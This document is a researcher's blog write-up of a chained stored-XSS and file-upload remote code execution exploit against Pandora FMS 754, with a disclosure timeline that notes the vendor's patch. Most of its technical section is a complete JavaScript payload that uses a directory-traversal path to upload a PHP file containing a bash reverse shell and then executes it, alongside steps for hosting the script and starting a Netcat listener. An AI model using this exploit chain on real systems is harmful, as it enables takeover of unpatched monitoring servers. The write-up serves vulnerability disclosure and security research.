Pandora FMS 754 - Stored XSS and Remote Code Execution

#pandorafms #hacking #exploit #xss #rce #cve #chainedexploit #kpmghungary

Last Modified: 2021.06.25.

The story

Because of my work, I ran into Monitoring Systems again. I read some comparisons and PandoraFMS is becoming more popular. Heated with a desire for adventure, I downloaded the latest version and started fiddling. It’s changed quite a bit since I didn’t deal with it. The last time I found PHP file upload vulnerability via the File Manager and I was curious.

I started with a Black Box approach and I found a bug in the File Manager. I was soon able to upload and execute my PHP file. I decided to find a stored XSS vulnerability with a low-level user. The idea was to chain the vulnerabilities and obtain a shell via JavaScript.

Disclosure Timeline

I would like to thank the Pandora FMS team who quickly released a patch version 755 after my reports.

Technical Details

The Environement

  1. Download the latest offline installer (Local on-premise installation - Community Edition) from the PandoraFMS homepage.
  2. Create a virtual machine.
  3. Install it with the default settings.

The File Manager bug

The File Manager is a simple admin feature. It is possible to:

  1. create or delete folders
  2. delete files
  3. create empty files
  4. upload files

It is allowed to upload PHP files, but the uploaded files are not executed it gave back the content of the file:


The default folder permissions and the newly created folder permissions are good. The files of the "/pandorafms_console/" are visible from outside, but normally it is not possible to Upload anything there. The root directory from the File Manager's point of view is the images directory.


The bug is simple, relative path can be used as a directory name. Based on the configuration it is possible to go one level up only.

5 6

The newly created folder has the following permissions:

7 8

The next step was to upload the file to my newly-created directory. With Burp it was easy to modify the outgoing requests, the relevant part marked with red:


The uploaded PHP file can be executed with a browser:


Stored XSS

I was looking for a stored XSS vulnerability that could be exploited by a lower-level user. I made a lower-level user and I found one at the Visual Console:

11 12 13

Chained exploit

  1. The attacker (low-privilege user) creates a new visual console, with the XSS payload. The attacker IP address is in this example:
  2. 12
  3. The attacker prepares a webserver to host the malicious JavaScript file:
  4. 14
  5. The attacker starts a Netcat listener:
  6. 15
  7. The admin checks the malicious visual console and it automatically triggers the XSS.
  8. 17
  9. The JavaScript payload executed and it uploads and executes the PHP file:
  10. 18

JavaScript Payload

// Author: k4m1ll0 (matek.kamillo@gmail.com)
// Date: 2021.06.01.
// Pandora FMS 754 XSS + RCE chained exploit
var xhr = new XMLHttpRequest();
//var base = "";
var base = "";

var url = base + "/pandora_console/index.php?sec=gextensions&sec2=godmode/setup/file_manager";
var url2 = base + "/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager";
xhr.open("POST", url2, false);

var url2 = base + "/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager";
var data = "";
var boundary = "-----------------------------413448548441350781883843751691"

data += '--' + boundary + "\r\n";
data += 'Content-Disposition: form-data; name="file"; filename="k44.php"'+ '\n';
data += 'Content-Type: text/php';data += '\r\n';
data += '\r\n';
data += "<?php system('bash -i >& /dev/tcp/ 0>&1'); ?>"; 
data += '\n';
data += '\r\n';
data += '--' + boundary + '\r\n';

data += 'Content-Disposition: form-data; name="umask"' + '\n';
data += '\r\n';
data += '\r\n';
data += '--' + boundary + '\r\n';

data += 'Content-Disposition: form-data; name="decompress_sent"' + '\n';
data += '\r\n';
data += "1";
data += '\r\n';
data += '--' + boundary + '\r\n';

data += 'Content-Disposition: form-data; name="go"' + '\n';
data += '\r\n';
data += "Go";
data += '\r\n';
data += '--' + boundary + '\r\n';

data += 'Content-Disposition: form-data; name="real_directory"' + '\n';
data += '\r\n';
data += "/var/www/html/pandora_console/images/../K44";
data += '\r\n';
data += '--' + boundary + '\r\n';

data += 'Content-Disposition: form-data; name="directory"' + '\n';
data += '\r\n';
data += "images/../K44";
data += '\r\n';
data += '--' + boundary + '\r\n';

data += 'Content-Disposition: form-data; name="hash"' + '\n';
data += '\r\n';
data += "1";
data += '\r\n';
data += '--' + boundary + '\r\n';

data += 'Content-Disposition: form-data; name="hash2"' + '\n';
data += '\r\n';
data += "1";
data += '\r\n';
data += '--' + boundary + '\r\n';

data += 'Content-Disposition: form-data; name="upload_file_or_zip"' + '\n';
data += '\r\n';
data += "1";
data += '\r\n';
data += '--' + boundary + '--' + '\r\n';

xhr.open("POST", url2, false);
xhr.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary );
xhr.setRequestHeader("Referer", base + "/pandora_console/index.php?sec=gextensions&sec2=godmode/setup/file_manager");

xhr.open("GET", base + "/pandora_console/K44/k44.php");

Video Content

Demo Video - HTTPS (short)

For a successful attack, an HTTPS server is necessary to host the JavaScript payload and the BASE variable must be changed to HTTPS.

For demonstration, I used my website which has a not self-signed certificate.

Demo Video - HTTP (long)

Note: The hash and hash2 values can be anything.

© 2019-2021 Kamilló Matek All Rights Reserved